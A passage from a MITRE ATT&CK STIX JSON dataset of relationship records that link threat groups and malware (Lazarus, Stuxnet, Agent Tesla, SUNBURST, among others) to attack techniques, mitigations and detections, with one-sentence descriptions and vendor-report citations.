2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T18:44:18.259Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has targeted victims with spearphishing emails containing malicious Microsoft Word documents.(Citation: McAfee Bankshot)(Citation: Kaspersky ThreatNeedle Feb 2021)(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--061c7b3d-775a-403f-9fd6-af0962a2e25e","created":"2023-03-17T15:54:02.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:53:46.366Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used compromised servers to host malware.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--061cfa7a-df09-40cc-bed5-35407b425cb8","created":"2020-12-29T16:20:59.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:55:31.443Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) collects system information including computer and domain names, OS version, and S7P paths.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--061f0d25-40fd-440a-b7e8-54ad0209f5f4","created":"2020-05-19T17:32:26.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Agent Tesla April 2020","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020.","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T12:14:08.072Z","description":" [Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to perform anti-sandboxing and anti-virtualization checks.(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--062059e8-21cb-4030-8244-ce7f6643e3c9","created":"2022-07-14T17:34:27.788Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Amadey](https://attack.mitre.org/software/S1025) has searched for folders associated with antivirus software.(Citation: Korean FSI TA505 2020)","modified":"2022-07-14T17:47:43.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--06219288-2833-4a8e-b8bc-10a834e3af7f","created":"2022-06-14T14:04:15.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:44:21.382Z","description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used Base64-encoded scripts.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--062789ad-19d9-4c8c-82db-474d9f19c9c9","type":"relationship","created":"2022-01-13T20:02:28.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/dn535501.aspx","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","source_name":"TechNet Credential Theft"},{"source_name":"TechNet Least Privilege","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487450.aspx"},{"source_name":"Microsoft Securing Privileged Access","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"}],"modified":"2022-02-10T21:35:25.726Z","description":"Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.(Citation: TechNet Credential Theft)(Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.(Citation: Microsoft Securing Privileged Access)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--062874d1-8ca9-400f-8367-670b9c7c3280","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-16T16:42:04.204Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of logging keystrokes.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06287ae2-325c-448e-8790-3c37492e1c29","type":"relationship","created":"2019-12-03T14:25:00.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-24T17:33:03.829Z","description":"Review changes to the cron schedule. cron execution can be reviewed within the /var/log directory. To validate the location of the cron log file, check the syslog config at /etc/rsyslog.conf or /etc/syslog.conf ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--062b1f19-2afb-4bdc-908e-99594ff114cf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2020-03-17T01:07:24.410Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses HTTP and HTTPS for C2 communications.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--062e9fe2-bfc1-49dc-85b2-e8356757a2e8","created":"2022-07-25T18:05:58.661Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) can use HTTP for C2 communication.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:05:58.661Z","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd","type":"relationship","created":"2017-05-31T21:33:27.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Equation QA","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"}],"modified":"2019-12-20T14:23:29.292Z","description":"[Equation](https://attack.mitre.org/groups/G0020) has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.(Citation: Kaspersky Equation QA)","relationship_type":"uses","source_ref":"intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--062f7bee-8b54-4edd-aca9-11437b7cbc8b","created":"2022-03-15T19:56:31.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.407Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has developed its own unique malware such as MailFetch.py for use in operations.(Citation: KISA Operation Muzabi)(Citation: Talos Kimsuky Nov 2021)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06317104-8397-453e-bef8-aa3269360ffc","type":"relationship","created":"2020-05-15T13:45:25.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T13:45:25.432Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) sent generated reports to the C2 via HTTP POST requests.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0634c754-9660-414f-8304-d9d92e37a0ce","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2020-03-17T14:22:56.357Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) stages the output from command execution and collected files in specific folders before exfiltration.(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--063b76d3-a002-44a1-aafa-d626008ee786","created":"2022-04-15T00:30:02.281Z","x_mitre_version":"0.1","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) can delete specified files from a targeted system.(Citation: Fortinet Diavol July 2021)","modified":"2022-04-15T00:30:02.281Z","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--063bf46c-0210-4e2f-bd7e-6db0f0975f07","type":"relationship","created":"2019-04-16T12:57:12.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf","source_name":"Sophos SamSam Apr 2018"}],"modified":"2019-04-18T20:59:57.031Z","description":"[SamSam](https://attack.mitre.org/software/S0370) has been seen deleting its own files and payloads to make analysis of the attack more difficult.(Citation: Sophos SamSam Apr 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--063ed9e5-4acd-47b4-a169-0ca40ef95025","created":"2022-07-25T18:31:31.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T19:58:00.525Z","description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can inject a DLL into rundll32.exe for execution.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0640af26-888f-4022-ab72-2d0a69dd9bb0","created":"2023-08-17T17:18:41.760Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T17:18:41.760Z","description":"[QUIETEXIT](https://attack.mitre.org/software/S1084) can proxy traffic via SOCKS.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"malware--4816d361-f82b-4a18-aa05-b215e7cf9200","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0644c9b1-f02c-4230-9359-0fc54cae5945","created":"2022-03-30T14:26:51.875Z","x_mitre_version":"0.1","external_references":[{"source_name":"GNU Acct","url":"https://www.gnu.org/software/acct/","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017."},{"source_name":"RHEL auditd","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017."},{"source_name":"ArtOfMemoryForensics","description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."},{"source_name":"Chokepoint preload rootkits","url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits)","modified":"2022-04-20T00:05:15.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0648b4df-ad84-4c94-8a0c-16e392f80f82","type":"relationship","created":"2021-01-06T16:56:56.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T16:56:56.358Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) remained dormant after initial access for a period of up to two weeks.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.788Z","description":"[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the MAC and IP addresses during installation.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--064cfeb5-9ddb-4dd2-ada4-cf9e65601dc5","type":"relationship","created":"2021-09-29T22:24:15.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.758Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has identified primary users, currently logged in users, sets of users that commonly use a system, or inactive users.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--064f8984-e6cc-4334-a5ad-903a7af9bf4c","created":"2023-03-08T22:40:07.137Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T22:40:07.137Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06508c23-746d-4894-b414-cff925692bd5","type":"relationship","created":"2020-05-26T16:17:59.751Z","created_by_ref":"identity--c78cb6e5